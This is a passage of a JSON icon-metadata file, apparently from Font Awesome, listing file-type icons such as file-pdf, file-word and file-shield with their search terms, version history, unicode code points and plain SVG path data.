        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM112 256H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      },
      "regular": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm56 256c-13.3 0-24 10.7-24 24s10.7 24 24 24H264c13.3 0 24-10.7 24-24s-10.7-24-24-24H120zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24H264c13.3 0 24-10.7 24-24s-10.7-24-24-24H120z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm56 256c-13.3 0-24 10.7-24 24s10.7 24 24 24H264c13.3 0 24-10.7 24-24s-10.7-24-24-24H120zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24H264c13.3 0 24-10.7 24-24s-10.7-24-24-24H120z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-medical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f477"]
      }
    },
    "changes": ["5.0.7", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "health", "history", "prescription", "record"]
    },
    "styles": ["solid"],
    "unicode": "f477",
    "label": "File Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM160 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H224v48c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V352H112c-8.8 0-16-7.2-16-16V304c0-8.8 7.2-16 16-16h48V240z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM160 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H224v48c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V352H112c-8.8 0-16-7.2-16-16V304c0-8.8 7.2-16 16-16h48V240z"
      }
    },
    "free": ["solid"]
  },
  "file-pdf": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1c1"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["acrobat", "document", "preview", "save"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c1",
    "label": "File Pdf",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V304H176c-35.3 0-64 28.7-64 64V512H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM176 352h32c30.9 0 56 25.1 56 56s-25.1 56-56 56H192v32c0 8.8-7.2 16-16 16s-16-7.2-16-16V448 368c0-8.8 7.2-16 16-16zm32 80c13.3 0 24-10.7 24-24s-10.7-24-24-24H192v48h16zm96-80h32c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H304c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16zm32 128c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H320v96h16zm80-112c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v32h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V432 368z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V304H176c-35.3 0-64 28.7-64 64V512H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM176 352h32c30.9 0 56 25.1 56 56s-25.1 56-56 56H192v32c0 8.8-7.2 16-16 16s-16-7.2-16-16V448 368c0-8.8 7.2-16 16-16zm32 80c13.3 0 24-10.7 24-24s-10.7-24-24-24H192v48h16zm96-80h32c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H304c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16zm32 128c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H320v96h16zm80-112c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v32h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V432 368z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 464H96v48H64c-35.3 0-64-28.7-64-64V64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V288H336V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16zM176 352h32c30.9 0 56 25.1 56 56s-25.1 56-56 56H192v32c0 8.8-7.2 16-16 16s-16-7.2-16-16V448 368c0-8.8 7.2-16 16-16zm32 80c13.3 0 24-10.7 24-24s-10.7-24-24-24H192v48h16zm96-80h32c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H304c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16zm32 128c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H320v96h16zm80-112c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v32h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V432 368z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 464H96v48H64c-35.3 0-64-28.7-64-64V64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V288H336V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16zM176 352h32c30.9 0 56 25.1 56 56s-25.1 56-56 56H192v32c0 8.8-7.2 16-16 16s-16-7.2-16-16V448 368c0-8.8 7.2-16 16-16zm32 80c13.3 0 24-10.7 24-24s-10.7-24-24-24H192v48h16zm96-80h32c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H304c-8.8 0-16-7.2-16-16V368c0-8.8 7.2-16 16-16zm32 128c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H320v96h16zm80-112c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v32h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H448v48c0 8.8-7.2 16-16 16s-16-7.2-16-16V432 368z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-pen": {
    "aliases": {
      "names": ["file-edit"],
      "unicodes": {
        "composite": ["1f4dd"],
        "secondary": ["10f31c"]
      }
    },
    "changes": [
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "memo", "pen", "pencil", "update", "write"]
    },
    "styles": ["solid"],
    "unicode": "f31c",
    "label": "File Pen",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V285.7l-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V285.7l-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"
      }
    },
    "free": ["solid"]
  },
  "file-powerpoint": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1c4"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["display", "document", "keynote", "presentation"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c4",
    "label": "File Powerpoint",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM136 240h68c42 0 76 34 76 76s-34 76-76 76H160v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V368 264c0-13.3 10.7-24 24-24zm68 104c15.5 0 28-12.5 28-28s-12.5-28-28-28H160v56h44z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM136 240h68c42 0 76 34 76 76s-34 76-76 76H160v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V368 264c0-13.3 10.7-24 24-24zm68 104c15.5 0 28-12.5 28-28s-12.5-28-28-28H160v56h44z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm72 208c-13.3 0-24 10.7-24 24V336v56c0 13.3 10.7 24 24 24s24-10.7 24-24V360h44c42 0 76-34 76-76s-34-76-76-76H136zm68 104H160V256h44c15.5 0 28 12.5 28 28s-12.5 28-28 28z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm72 208c-13.3 0-24 10.7-24 24V336v56c0 13.3 10.7 24 24 24s24-10.7 24-24V360h44c42 0 76-34 76-76s-34-76-76-76H136zm68 104H160V256h44c15.5 0 28 12.5 28 28s-12.5 28-28 28z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-prescription": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f572"]
      }
    },
    "changes": ["5.1.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "drugs", "medical", "medicine", "rx"]
    },
    "styles": ["solid"],
    "unicode": "f572",
    "label": "File Prescription",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM104 196h72c33.1 0 60 26.9 60 60c0 25.5-15.9 47.2-38.3 55.9l43 40.3 33.8-31c8.1-7.5 20.8-6.9 28.3 1.2s6.9 20.8-1.2 28.3L270 379.7l31.7 29.7c8.1 7.6 8.5 20.2 .9 28.3s-20.2 8.5-28.3 .9l-33.9-31.8-34.9 32c-8.1 7.5-20.8 6.9-28.3-1.2s-6.9-20.8 1.2-28.3l32.6-29.9-64.8-60.8c-.9-.8-1.6-1.7-2.3-2.6H124v44c0 11-9 20-20 20s-20-9-20-20V296 216c0-11 9-20 20-20zm72 80c11 0 20-9 20-20s-9-20-20-20H124v40h52z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM104 196h72c33.1 0 60 26.9 60 60c0 25.5-15.9 47.2-38.3 55.9l43 40.3 33.8-31c8.1-7.5 20.8-6.9 28.3 1.2s6.9 20.8-1.2 28.3L270 379.7l31.7 29.7c8.1 7.6 8.5 20.2 .9 28.3s-20.2 8.5-28.3 .9l-33.9-31.8-34.9 32c-8.1 7.5-20.8 6.9-28.3-1.2s-6.9-20.8 1.2-28.3l32.6-29.9-64.8-60.8c-.9-.8-1.6-1.7-2.3-2.6H124v44c0 11-9 20-20 20s-20-9-20-20V296 216c0-11 9-20 20-20zm72 80c11 0 20-9 20-20s-9-20-20-20H124v40h52z"
      }
    },
    "free": ["solid"]
  },
  "file-shield": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "antivirus",
        "data",
        "document",
        "protect",
        "safe",
        "safety",
        "secure"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4f0",
    "label": "File Shield",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v47l-92.8 37.1c-21.3 8.5-35.2 29.1-35.2 52c0 56.6 18.9 148 94.2 208.3c-9 4.8-19.3 7.6-30.2 7.6H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm39.1 97.7c5.7-2.3 12.1-2.3 17.8 0l120 48C570 277.4 576 286.2 576 296c0 63.3-25.9 168.8-134.8 214.2c-5.9 2.5-12.6 2.5-18.5 0C313.9 464.8 288 359.3 288 296c0-9.8 6-18.6 15.1-22.3l120-48zM527.4 312L432 273.8V461.7c68.2-33 91.5-99 95.4-149.7z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v47l-92.8 37.1c-21.3 8.5-35.2 29.1-35.2 52c0 56.6 18.9 148 94.2 208.3c-9 4.8-19.3 7.6-30.2 7.6H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm39.1 97.7c5.7-2.3 12.1-2.3 17.8 0l120 48C570 277.4 576 286.2 576 296c0 63.3-25.9 168.8-134.8 214.2c-5.9 2.5-12.6 2.5-18.5 0C313.9 464.8 288 359.3 288 296c0-9.8 6-18.6 15.1-22.3l120-48zM527.4 312L432 273.8V461.7c68.2-33 91.5-99 95.4-149.7z"
      }
    },
    "free": ["solid"]
  },
  "file-signature": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f573"]
      }
    },
    "changes": ["5.1.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["John Hancock", "contract", "document", "name"]
    },
    "styles": ["solid"],
    "unicode": "f573",
    "label": "File Signature",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V428.7c-2.7 1.1-5.4 2-8.2 2.7l-60.1 15c-3 .7-6 1.2-9 1.4c-.9 .1-1.8 .2-2.7 .2H240c-6.1 0-11.6-3.4-14.3-8.8l-8.8-17.7c-1.7-3.4-5.1-5.5-8.8-5.5s-7.2 2.1-8.8 5.5l-8.8 17.7c-2.9 5.9-9.2 9.4-15.7 8.8s-12.1-5.1-13.9-11.3L144 381l-9.8 32.8c-6.1 20.3-24.8 34.2-46 34.2H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h8.2c7.1 0 13.3-4.6 15.3-11.4l14.9-49.5c3.4-11.3 13.8-19.1 25.6-19.1s22.2 7.8 25.6 19.1l11.6 38.6c7.4-6.2 16.8-9.7 26.8-9.7c15.9 0 30.4 9 37.5 23.2l4.4 8.8h8.9c-3.1-8.8-3.7-18.4-1.4-27.8l15-60.1c2.8-11.3 8.6-21.5 16.8-29.7L384 203.6V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM549.8 139.7c-15.6-15.6-40.9-15.6-56.6 0l-29.4 29.4 71 71 29.4-29.4c15.6-15.6 15.6-40.9 0-56.6l-14.4-14.4zM311.9 321c-4.1 4.1-7 9.2-8.4 14.9l-15 60.1c-1.4 5.5 .2 11.2 4.2 15.2s9.7 5.6 15.2 4.2l60.1-15c5.6-1.4 10.8-4.3 14.9-8.4L512.1 262.7l-71-71L311.9 321z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V428.7c-2.7 1.1-5.4 2-8.2 2.7l-60.1 15c-3 .7-6 1.2-9 1.4c-.9 .1-1.8 .2-2.7 .2H240c-6.1 0-11.6-3.4-14.3-8.8l-8.8-17.7c-1.7-3.4-5.1-5.5-8.8-5.5s-7.2 2.1-8.8 5.5l-8.8 17.7c-2.9 5.9-9.2 9.4-15.7 8.8s-12.1-5.1-13.9-11.3L144 381l-9.8 32.8c-6.1 20.3-24.8 34.2-46 34.2H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h8.2c7.1 0 13.3-4.6 15.3-11.4l14.9-49.5c3.4-11.3 13.8-19.1 25.6-19.1s22.2 7.8 25.6 19.1l11.6 38.6c7.4-6.2 16.8-9.7 26.8-9.7c15.9 0 30.4 9 37.5 23.2l4.4 8.8h8.9c-3.1-8.8-3.7-18.4-1.4-27.8l15-60.1c2.8-11.3 8.6-21.5 16.8-29.7L384 203.6V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM549.8 139.7c-15.6-15.6-40.9-15.6-56.6 0l-29.4 29.4 71 71 29.4-29.4c15.6-15.6 15.6-40.9 0-56.6l-14.4-14.4zM311.9 321c-4.1 4.1-7 9.2-8.4 14.9l-15 60.1c-1.4 5.5 .2 11.2 4.2 15.2s9.7 5.6 15.2 4.2l60.1-15c5.6-1.4 10.8-4.3 14.9-8.4L512.1 262.7l-71-71L311.9 321z"
      }
    },
    "free": ["solid"]
  },
  "file-video": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1c8"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["document", "m4v", "movie", "mp4", "play"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c8",
    "label": "File Video",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM64 288c0-17.7 14.3-32 32-32h96c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V288zM300.9 397.9L256 368V304l44.9-29.9c2-1.3 4.4-2.1 6.8-2.1c6.8 0 12.3 5.5 12.3 12.3V387.7c0 6.8-5.5 12.3-12.3 12.3c-2.4 0-4.8-.7-6.8-2.1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM64 288c0-17.7 14.3-32 32-32h96c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V288zM300.9 397.9L256 368V304l44.9-29.9c2-1.3 4.4-2.1 6.8-2.1c6.8 0 12.3 5.5 12.3 12.3V387.7c0 6.8-5.5 12.3-12.3 12.3c-2.4 0-4.8-.7-6.8-2.1z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M320 464c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM80 288c0-17.7 14.3-32 32-32h96c17.7 0 32 14.3 32 32v16l44.9-29.9c2-1.3 4.4-2.1 6.8-2.1c6.8 0 12.3 5.5 12.3 12.3V387.7c0 6.8-5.5 12.3-12.3 12.3c-2.4 0-4.8-.7-6.8-2.1L240 368v16c0 17.7-14.3 32-32 32H112c-17.7 0-32-14.3-32-32V288z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M320 464c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM80 288c0-17.7 14.3-32 32-32h96c17.7 0 32 14.3 32 32v16l44.9-29.9c2-1.3 4.4-2.1 6.8-2.1c6.8 0 12.3 5.5 12.3 12.3V387.7c0 6.8-5.5 12.3-12.3 12.3c-2.4 0-4.8-.7-6.8-2.1L240 368v16c0 17.7-14.3 32-32 32H112c-17.7 0-32-14.3-32-32V288z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-waveform": {
    "aliases": {
      "names": ["file-medical-alt"],
      "unicodes": {
        "secondary": ["10f478"]
      }
    },
    "changes": ["5.0.7", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "health", "history", "prescription", "record"]
    },
    "styles": ["solid"],
    "unicode": "f478",
    "label": "File Waveform",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 0C60.7 0 32 28.7 32 64V288H144c6.1 0 11.6 3.4 14.3 8.8L176 332.2l49.7-99.4c2.7-5.4 8.3-8.8 14.3-8.8s11.6 3.4 14.3 8.8L281.9 288H352c8.8 0 16 7.2 16 16s-7.2 16-16 16H272c-6.1 0-11.6-3.4-14.3-8.8L240 275.8l-49.7 99.4c-2.7 5.4-8.3 8.8-14.3 8.8s-11.6-3.4-14.3-8.8L134.1 320H32V448c0 35.3 28.7 64 64 64H352c35.3 0 64-28.7 64-64V160H288c-17.7 0-32-14.3-32-32V0H96zM288 0V128H416L288 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 0C60.7 0 32 28.7 32 64V288H144c6.1 0 11.6 3.4 14.3 8.8L176 332.2l49.7-99.4c2.7-5.4 8.3-8.8 14.3-8.8s11.6 3.4 14.3 8.8L281.9 288H352c8.8 0 16 7.2 16 16s-7.2 16-16 16H272c-6.1 0-11.6-3.4-14.3-8.8L240 275.8l-49.7 99.4c-2.7 5.4-8.3 8.8-14.3 8.8s-11.6-3.4-14.3-8.8L134.1 320H32V448c0 35.3 28.7 64 64 64H352c35.3 0 64-28.7 64-64V160H288c-17.7 0-32-14.3-32-32V0H96zM288 0V128H416L288 0z"
      }
    },
    "free": ["solid"]
  },
  "file-word": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1c2"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["document", "edit", "page", "text", "writing"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c2",
    "label": "File Word",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM111 257.1l26.8 89.2 31.6-90.3c3.4-9.6 12.5-16.1 22.7-16.1s19.3 6.4 22.7 16.1l31.6 90.3L273 257.1c3.8-12.7 17.2-19.9 29.9-16.1s19.9 17.2 16.1 29.9l-48 160c-3 10-12 16.9-22.4 17.1s-19.8-6.2-23.2-16.1L192 336.6l-33.3 95.3c-3.4 9.8-12.8 16.3-23.2 16.1s-19.5-7.1-22.4-17.1l-48-160c-3.8-12.7 3.4-26.1 16.1-29.9s26.1 3.4 29.9 16.1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM111 257.1l26.8 89.2 31.6-90.3c3.4-9.6 12.5-16.1 22.7-16.1s19.3 6.4 22.7 16.1l31.6 90.3L273 257.1c3.8-12.7 17.2-19.9 29.9-16.1s19.9 17.2 16.1 29.9l-48 160c-3 10-12 16.9-22.4 17.1s-19.8-6.2-23.2-16.1L192 336.6l-33.3 95.3c-3.4 9.8-12.8 16.3-23.2 16.1s-19.5-7.1-22.4-17.1l-48-160c-3.8-12.7 3.4-26.1 16.1-29.9s26.1 3.4 29.9 16.1z"
      },
      "regular": {
